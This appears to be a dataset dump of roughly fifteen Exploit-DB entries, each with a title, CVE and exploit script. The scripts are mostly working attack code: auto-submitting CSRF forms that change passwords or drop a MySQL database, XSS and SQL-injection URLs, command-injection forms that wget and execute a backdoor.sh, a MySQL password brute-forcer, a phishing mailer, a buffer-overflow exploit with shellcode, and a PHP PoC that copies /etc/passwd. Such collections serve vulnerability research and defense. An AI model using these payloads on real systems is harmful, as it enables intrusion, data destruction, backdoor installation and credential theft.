QLWD/code_shield huggingface dataset:
标题: Auto-Exchanger 5.1.0 - Cross-Site Request Forgery EDB-ID: 38119 CVE: 2015-6827 类型: WEBAPPS 平台: PHP 发布日期: 2015-09-09 漏洞利用脚本: <!--
# Exploit Title: [Auto-exchanger version 5.1.0 Xsrf]
# Date: [2015/06/05]
# Exploit Author: [Aryan Bayaninejad]
# Linkedin : [https://www.linkedin.com/profile/view?id=276969082]
# Vendor Homepage: [www.auto-exchanger.com]
# Version: [Version 5.1.0]
# Demo : www.farhadexchange.com
# CVE : [CVE-2015-6827]

------------------------------------
details:
------------------------------------

auto-exchanger version 5.1.0 suffers from an xsrf vulnerability , attacker
is able to abuse of this vulnerability to change password by a hidden
iframe in another page.

-------------------------------------

Exploit:

-------------------------------------
-->

<html>
<body>
<iframe style="display:none" name="xsrf-frame"></iframe>
<form method='POST' action='http://farhadexchange.com/signup.php'
target="xsrf-frame" id="xsrf-form">

<label id="lbl_error" name="lbl_error" class="ErrorMessage"></label>
<INPUT type="hidden" name="suser" value="victim_user">
<input type="hidden" name="section" value="do_update" />
<label type='hidden' id="n_password0"><span>
<input type='hidden' maxlength="20" size="30" name="password0"
id="password0"   value="testpassword123456" >  </label>
<input type="hidden" name="rid" value="" />
<label id="n_password">
<input type="hidden" maxlength="20" size="30" name="password1"
id="password1"   value="testpassword123456"   ></label>
<label id="n_mail">
<INPUT type='hidden' maxLength=60 size=30 name="mail" id="mail"
value="victim_email" type="text">
</label>
<label id="n_country">
<input type='hidden'  name="country" id="country"  style="width:196;"
value="IR">
</label>
<label id="cid">
<input type='hidden' name='cid' value='2'/>
</label>
<label id="n_curreny_account">
<INPUT type='hidden' maxLength=60 size=30 name="curreny_account"
id="curreny_account" value="" ><br>
</label>
</form>
<script>document.getElementById("xsrf-form").submit()</script>
</body>
</html> URL: https://www.exploit-db.com/exploits/38119
标题: SimpleInvoices invoices Module - Customer Field Cross-Site Scripting EDB-ID: 38115 CVE: 2012-4932 类型: WEBAPPS 平台: PHP 发布日期: 2012-12-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/56882/info

Simple Invoices is prone to multiple HTML-injection vulnerabilities and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible. 

[http://]www.example.com/simpleinvoices/index.php?module=invoices&view=manage&having=%3C/script%3E%3Cscript%3Ealert%28%27POC%20XSS%27%29;%3C/script%3E%3Cscript%3E URL: https://www.exploit-db.com/exploits/38115
标题: WordPress Plugin Simple Gmail Login - Stack Trace Information Disclosure EDB-ID: 38111 CVE: 2012-6313 类型: WEBAPPS 平台: PHP 发布日期: 2012-12-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/56860/info

The Simple Gmail Login plugin for Wordpress is prone to an information-disclosure vulnerability.

Attackers can exploit this issue to obtain sensitive information that may lead to further attacks.

Simple Gmail Login 1.1.3 and prior are vulnerable.

Fatal error: Uncaught exception 'Exception' with message
'DateTimeZone::__construct() [<a
href='datetimezone.--construct'>datetimezone.--construct</a>]: Unknown or bad timezone ()' in
C:\xampp\htdocs\wordpress\wp-content\plugins\simple-gmail-login\simple-gmail-login.php:229
Stack trace: #0
C:\xampp\htdocs\wordpress\wp-content\plugins\simple-gmail-login\simple-gmail-login.php(229): 
DateTimeZone->__construct('') #1
C:\xampp\htdocs\wordpress\wp-content\plugins\simple-gmail-login\simple-gmail-login.php(210): 
SimpleGmail_Plugin->log('Plugin activate...', false) #2 [internal
function]: SimpleGmail_Plugin->activate('') #3
C:\xampp\htdocs\wordpress\wp-includes\plugin.php(403): 
call_user_func_array(Array, Array) #4
C:\xampp\htdocs\wordpress\wp-admin\plugins.php(157): 
do_action('activate_simple...') #5 {main} thrown in C:\xampp\htdocs\wordpress\wp-content\plugins\simple-gmail-login\simple-gmail-login.php
on line 229 URL: https://www.exploit-db.com/exploits/38111
标题: Smartphone Pentest Framework - Multiple Remote Command Execution Vulnerabilities EDB-ID: 38114 CVE: 2012-5878 类型: WEBAPPS 平台: CGI 发布日期: 2012-12-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/56881/info

Smartphone Pentest Framework is prone to multiple remote command-execution vulnerabilities.

Remote attackers can exploit these issues to execute arbitrary commands within the context of the vulnerable application to gain root access. This may facilitate a complete compromise of an affected computer.

Smartphone Pentest Framework 0.1.3 and 0.1.4 are vulnerable; other versions may also be affected. 

1.

<form action="http://www.example.com/cgi-bin/frameworkgui/SEAttack.pl" 
method="post" name=f1>
<input type="hidden" name="platformDD2" value='android' />
<input type="hidden" name="hostingPath" value='a & wget 
http://www.example.com/backdoor.sh && chmod a+x ./backdoor.ch && 
./backdoor.sh & ' />
<input type="submit" id="btn">
</form>
<script>
document.f1.Submit()
</script>

2. 

<form action="http://www.example.com/cgi-bin/frameworkgui/CSAttack.pl" 
method="post" name=f1>
<input type="hidden" name="hostingPath" value='a & wget 
http://www.example.com/backdoor.sh && chmod a+x ./backdoor.sh && 
./backdoor.sh & ' />
<input type="submit" id="btn">
</form>
<script>
document.f1.Submit()
</script>

3.

<form 
action="http://www.example.com/cgi-bin/frameworkgui/attachMobileModem.pl" 
method="post" name=f1>
<input type="hidden" name="appURLPath" value='a & wget 
http://www.example.com/backdoor.sh && chmod a+x ./backdoor.sh && 
./backdoor.sh & ' />
<input type="submit" id="btn">
</form>
<script>
document.f1.Submit()
</script>

4.

<form 
action="http://www.example.com/cgi-bin/frameworkgui/guessPassword.pl" 
method="post" name=f1>
<input type="hidden" name="ipAddressTB" value='a & wget 
http://www.example.com/backdoor.sh && chmod a+x ./backdoor.sh && 
./backdoor.sh & ' />
<input type="submit" id="btn">
</form>
<script>
document.f1.Submit()
</script> URL: https://www.exploit-db.com/exploits/38114
标题: Oracle MySQL / MariaDB - Insecure Salt Generation Security Bypass EDB-ID: 38109 CVE: 2012-5627 类型: REMOTE 平台: LINUX 发布日期: 2012-12-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/56837/info

MySQL and MariaDB are prone to a security-bypass weakness.

An attacker may be able to exploit this issue to aid in brute-force attacks; other attacks may also be possible. 

use Net::MySQL;

$|=1;

my $mysql = Net::MySQL->new(
 hostname => '192.168.2.3',
 database => 'test',
 user     => "user",
 password => "secret",
 debug => 0,
);

$crackuser = "crackme";

while(<stdin>) {
chomp;
$currentpass = $_;

$vv = join "\0",
                $crackuser,
                "\x14".
                Net::MySQL::Password->scramble(
                        $currentpass, $mysql->{salt}, $mysql->{client_capabilities}
                ) . "\0";
if ($mysql->_execute_command("\x11", $vv) ne undef) {
        print "[*] Cracked! --> $currentpass\n";
        exit;
}
}
---
example session:

C:\Users\kingcope\Desktop>C:\Users\kingcope\Desktop\john179\run\jo
hn --incremental --stdout=5 | perl mysqlcrack.pl
Warning: MaxLen = 8 is too large for the current hash type, reduced to 5
words: 16382  time: 0:00:00:02  w/s: 6262  current: citcH
words: 24573  time: 0:00:00:04  w/s: 4916  current: rap
words: 40956  time: 0:00:00:07  w/s: 5498  current: matc3
words: 49147  time: 0:00:00:09  w/s: 5030  current: 4429
words: 65530  time: 0:00:00:12  w/s: 5354  current: ch141
words: 73721  time: 0:00:00:14  w/s: 5021  current: v3n
words: 90104  time: 0:00:00:17  w/s: 5277  current: pun2
[*] Cracked! --> pass
words: 98295  time: 0:00:00:18  w/s: 5434  current: 43gs
Session aborted URL: https://www.exploit-db.com/exploits/38109
标题: JSPMySQL Administrador - Multiple Vulnerabilities EDB-ID: 38098 CVE: 2015-6945 2015-6944 类型: WEBAPPS 平台: JSP 发布日期: 2015-09-07 漏洞利用脚本: [+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/AS-JSPMYSQLADMINISTRADOR-0904.txt



Vendor:
================================
JSPMySQL Administrador
https://sites.google.com/site/mfpledon/producao-de-software



Product:
================================
JSPMySQL Administrador v.1 is a remote administration of MySQL databases
that are on a Web server using JSP technology


Vulnerability Type:
===================
CSRF & XSS



CVE Reference:
==============
N/A




Vulnerability Details:
=====================

1) No CSRF token exists allowing remote attackers to run arbitrary SQL
commands
on the MySQL database.

2) XSS entry point exists on the listaBD2.jsp web page opening up the
application
for client side browser code execution.

In either case get victim to visit our malicious webpage or click on our
malicious linx then KABOOOOOOOOOOOOOOOOOOOOOOM!!!




Exploit code(s):
===============

1- CSRF to drop the default MySQL database on the remote server:
----------------------------------------------------------------

<!DOCTYPE>
<html>
<head>
<title>JSP-MYSQL-ADMIN-CSRF</title>

<body onLoad="doit()">

<script>
function doit(){
var e=document.getElementById('HELL')
e.submit()
}

<!-- CSRF DROP MYSQL DATABASE -->

<form id="HELL" action="http://localhost:8081/sys/sys/listaBD2.jsp"
method="post">
<input type="text" name="cmd" value="DROP DATABASE mysql"/>
<input type="text" name="btncmd" value="Enviar" />
<input type="text" name="bd" value="mysql" />
</form>



2- XSS client side code execution delivered to the victim:
----------------------------------------------------------

http://localhost:8081/sys/sys/listaBD2.jsp?bd=%22/%3E%3Cscript%3Ealert%28666%29%3C/script%3E





Disclosure Timeline:
=========================================================


Vendor Notification:  August 31, 2015
September 4, 2015  : Public Disclosure




Exploitation Technique:
=======================
Remote



Severity Level:
=========================================================
High



Description:
==========================================================


Request Method(s):              [+] POST & GET


Vulnerable Product:             [+] JSPMySQL Administrador v.1


Vulnerable Parameter(s):        [+] cmd, bd


Affected Area(s):               [+] listaBD2.jsp


===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx URL: https://www.exploit-db.com/exploits/38098
标题: Elastix - 'page' Cross-Site Scripting EDB-ID: 38078 CVE: 2012-6608 类型: WEBAPPS 平台: PHP 发布日期: 2012-11-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/56746/info

Elastix is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Elastix 2.3.0 is vulnerable; other versions may also be affected. 

#! /usr/bin/python
# Author cheki
# Date 28/11/2012
# Test on Linux(mint)
# Vendor Elastix.org
# Exploit: https://192.168.2.199/xmlservices/E_book.php?Page=2%3Cscript%3Ealert%28%221%22%29;%3C/script%3E
#                     Vulnerability $Page Parameter {E_book.php file}
#                     $Page = $_GET['Page'];          // Page index
#                     $idx_phone = $_GET['phone'];    // phone's address book index
#                     if ( $Page == 0  )
#                     {
#                     $Page = 1;
#                     }

import smtplib

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
me = "your mail"
target_mail = "target mail"
msg = MIMEMultipart('alternative')
msg['Subject'] = "Link"
msg['From'] = me
msg['To'] = target_mail
text = "Hi!\nHow are you?\nHere is the link you wanted"
html = """\
<html>
  <head></head>
  <body>
    <p>Hi!<br>
       How are you?<br>
       Here is the <a href="https://192.168.2.199/xmlservices/E_book.php?Page=2%3Cscript%3Ealert%28%221%22%29;%3C/script%3E">link</a> you wanted.
    </p>
  </body>
</html>
"""
part1 = MIMEText(text, 'plain')
part2 = MIMEText(html, 'html')
msg.attach(part1)
msg.attach(part2)
s = smtplib.SMTP('localhost')
s.sendmail(me, target_mail, msg.as_string())
s.quit() URL: https://www.exploit-db.com/exploits/38078
标题: Forescout CounterACT - 'a' Open Redirection EDB-ID: 38062 CVE: 2012-4982 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2012-11-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/56687/info

Forescout CounterACT is prone to an open-redirection vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit may aid in phishing attacks; other attacks are possible.

Forescout CounterACT 6.3.4.1 is vulnerable; other versions may also be affected. 

http://www.example.com/assets/login?a=http://www.evil.com URL: https://www.exploit-db.com/exploits/38062
标题: WordPress Plugin Video Lead Form - 'errMsg' Cross-Site Scripting EDB-ID: 38066 CVE: 2012-6312 类型: WEBAPPS 平台: PHP 发布日期: 2012-11-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/56737/info

The Video Lead Form plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Video Lead Form 0.5 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-admin/admin.php?page=video-lead-form&errMsg=%27;alert%28String.fromCharCode%2888,83,83%29%29//%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E URL: https://www.exploit-db.com/exploits/38066
标题: dotProject 2.1.x - 'index.php' Multiple SQL Injections EDB-ID: 38042 CVE: 2012-5701 类型: WEBAPPS 平台: PHP 发布日期: 2012-11-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/56624/info

Dotproject is prone to the following security vulnerabilities:

1. Multiple SQL-injection vulnerabilities

2. Multiple cross-site scripting vulnerabilities

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Dotproject versions prior to 2.1.7 are vulnerable. 

http://www.example.com/index.php?m=contacts&search_string=0%27%29%20UNION%20SELECT%20version(),2,3,4,5,6,7,8, 9,10,11%20INTO%20OUTFILE%20%27file.txt%27%20--%202
http://www.example.com/index.php?m=contacts&where=%27%29%20UNION%20SELECT%20version(),2,3,4,5,6,7,8,9,10,11%2 0INTO%20OUTFILE%20%27/tmp/file.txt%27%20--%202
http://www.example.com/index.php?m=departments&dept_id=%27%20UNION%20SELECT%20version%28%29%20INTO%20OUTFILE% 20%27/tmp/file.txt%27%20--%202
http://www.example.com/?m=projects&update_project_status=1&project_status=1&project_id[]=%27%20UNION%20SELECT %20version%28%29%20INTO%20OUTFILE%20%27/tmp/file.txt%27%20--%202
http://www.example.com/?m=system&a=billingcode&company_id=0%20UNION%20SELECT%201,2,3,4,5,6%20INTO%20OUTFILE%2 0%27/tmp/file.txt%27%20--%202 URL: https://www.exploit-db.com/exploits/38042
标题: Boxoft WAV to MP3 Converter - 'convert' Local Buffer Overflow EDB-ID: 38035 CVE: 2015-7243 类型: LOCAL 平台: WINDOWS 发布日期: 2015-08-31 漏洞利用脚本: #Exploit Title: Boxoft wav to mp3 converter SEH bypass technique tested on Win7x64   
# Date: 8-31-2015
# Software Link: http://www.boxoft.com/wav-to-mp3/
# Exploit Author: Robbie Corley
# Contact: c0d3rc0rl3y@gmail.com
# Website: 
# Target: Windows 7 Enterprise x64
# CVE: 
# Category: Local Exploit
#
# Description:
# A buffer overflow was found after constructing a .wav payload over 4000 characters and attempting to convert the payload to a .mp3 file

my $buff = "\x41" x 4132;
#my $nseh = "\x42" x 4;
#my $seh = "\x43" x 4;
my $endofbuff   = "\x41" x 5860;


$nseh = "\xeb\x06\x90\x90";  # jump to shellcode
$seh = pack('V',0x0040144c); # pop pop retn

#MessageBox Shellc0de 
#https://www.exploit-db.com/exploits/28996/

my $shellcode =
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42".
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03".
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b".
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e".
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c".
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74".
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe".
"\x49\x0b\x31\xc0\x51\x50\xff\xd7";

#$nops = "\x90" x 20; 

open(myfile,'>crash3r.wav');

print myfile $buff.$nseh.$seh.$shellcode.$endofbuff;
close (myfile); URL: https://www.exploit-db.com/exploits/38035
标题: dotProject 2.1.x - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 38043 CVE: 2012-5702 类型: WEBAPPS 平台: PHP 发布日期: 2012-11-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/56624/info
 
Dotproject is prone to the following security vulnerabilities:
 
1. Multiple SQL-injection vulnerabilities
 
2. Multiple cross-site scripting vulnerabilities
 
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Dotproject versions prior to 2.1.7 are vulnerable. 

http://www.example.com/?m=public&a=color_selector&callback=%3C/script%3E%3Cscript%3Ealert%28document.cookie%2 9;%3C/script%3E
http://www.example.com/?m=public&a=date_format&field=%3C/script%3E%3Cscript%3Ealert%28document.cookie%29;%3C/ script%3E
http://www.example.com/index.php?m=contacts&a=addedit&contact_id=0&company_id=1&company_name=%22%20onmouseove r=%22javascript:alert%28document.cookie%29%22
http://www.example.com/index.php?a=day_view&date=%22%20onmouseover=%22javascript:alert%28document.cookie%29%2 2 URL: https://www.exploit-db.com/exploits/38043
标题: Cyberoam Firewall CR500iNG-XP 10.6.2 MR-1 - Blind SQL Injection EDB-ID: 38034 CVE: 2015-6811 类型: WEBAPPS 平台: HARDWARE 发布日期: 2015-08-31 漏洞利用脚本: # Exploit Title: Cyberoam : Blind SQL Injection
# Date: 31/Aug/2015
# Exploit Author: Dharmendra Kumar Singh
# Contact: dsingh63@outlook.com
# Vendor Homepage: http://www.cyberoam.com
# Software Link: http://www.cyberoam.com/NGFW/
# Version: CR500iNG-XP - 10.6.2 MR-1
# Category: Firewall

1. Description

The username field in the captive portal of Cyberoam NG firewall is vulnerable to SQL Injection and can be exploited to execute sql commands on the database.

The username field is vulnerable to the following types of SQL Injections

a) Boolean-based blind sql injection
b) Stacked queries

2. Proof of Concept

The data send to the server while logging in through the captive portal is like "mode=191&username=cyberuser&password=cyberpass&a=1439886198757&producttype=0"
The query generated in backend server must be something like this
SELECT password FROM table_name WHERE username = 'cyberuser'

a) Boolean-based blind sql injection
If a valid username/password combination is known than boolean-based blind sql injection can be done. If username is set to cyberuser' AND 'x'='x , data send will be "mode=191&username=cyberuser' AND 'x'='x&password=cyberpass&a=1439886198757&producttype=0"
And sql query will become

SELECT password FROM table_name WHERE username = 'cyberuser' AND 'x'='x'
A successfull login message will be received in response in this case. But if username is set to cyberuser' AND 'x'='y than login fail message will be received in response, since x is not equal to y, hence this confirms that username field is vulnerable to boolean-based blind sql injection

b) Stacked queries
if username is set to cyberuser';SELECT PG_SLEEP(5) --  the resultant sql query will become
SELECT password FROM table_name WHERE username = 'cyberuser';SELECT PG_SLEEP(5) -- '
The stacked sql query "SELECT PG_SLEEP(5)" will make the current session’s process sleep until 5 seconds have elapsed. This confirms that Postgresql Server is used and stacked queries can be executed by providing crafted input to username field.

3. Exploit

Since the techniques are blind hence it is recommended to use an automated tool like SQLMap to exploit the vulnerability. The following command can be used to initiate the exploit
sqlmap.py -u "http://example.com:8090/login.xml" --data "mode=191&username=cyberuser&password=cyberpass&a=1439886198757&producttype=0"

4. Solution

The backend server scripts do not sanitize user-supplied data before using it in the SQL query. Hence by properly sanitizing the data received in GET variable "username", the vulnerability can be patched.

5. Conclusion

The Cyberoam NG Firewall devices <= Version: CR500iNG-XP - 10.6.2 MR-1 are vulnerable to blind SQL Injection and this vulnerability can be exploited by an attacker to compromise the application, access or modify data URL: https://www.exploit-db.com/exploits/38034
标题: Ganglia Web Frontend < 3.5.1 - PHP Code Execution EDB-ID: 38030 CVE: 2012-3448 类型: WEBAPPS 平台: PHP 发布日期: 2015-08-31 漏洞利用脚本: <?php
/*

################################################################################
#
# Author    : Andrei Costin (andrei theATsign firmware theDOTsign re)
# Desc      : CVE-2012-3448 PoC
# Details   : This PoC will create a dummy file in the /tmp folder and 
#             will copy /etc/passwd to /tmp.
#             To modify the attack payload, modify the code below.\
# Setup     : Ubuntu Linux 14.04 LTS x86 with Ganglia Web Frontend 3.5.0
#
################################################################################

1. Assuming that ganglia is installed on the target machine at this path:
/var/www/html/ganglia/

2. Assuming the attacker has minimal access to the target machine and 
can write to "/tmp". There are several methods where a remote attacker can 
also trigger daemons or other system processes to create files in "/tmp" 
whose content is (partially) controlled by the remote attacker. 

3. The attacker puts the contents of this PoC file into the file:
/tmp/attack.php

4. The attacker visits the Ganglia Web Frontend interface with version < 3.5.1 
as:
http://targetIP/ganglia/graph.php?g=../../../../tmp/attack&metric=DUMMY&title=DUMMY

5. Confirm that the PoC created a dummy file in the /tmp folder and copied 
/etc/passwd to /tmp.

*/

eval('touch("/tmp/attacker.touch"); copy("/etc/passwd", "/tmp/attacker.passwd");');
die("Triggering CVE-2012-3448 attack.php");

?> URL: https://www.exploit-db.com/exploits/38030
标题: WebKit Cross-Site Scripting Filter - 'Cross-Site ScriptingAuditor.cpp' Security Bypass EDB-ID: 38024 CVE: 2012-5851 类型: WEBAPPS 平台: PHP 发布日期: 2012-07-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/56570/info

WebKit is prone to a security-bypass vulnerability.

An attacker can exploit this vulnerability to bypass the cross-site scripting filter mechanism. Successful exploits may allow attackers to execute arbitrary script code and steal cookie-based authentication credentials. 

Code in test.jsp:

<title>Test Page</title>
<script>
var foo = "<%= request.getParameter("foo") %>";
document.write("<text>Welcome "+ foo + "</text>");
</script>

Example URI:

http://www.domain.com/test.jsp?foo=2"; alert(document.cookie); var a="1 URL: https://www.exploit-db.com/exploits/38024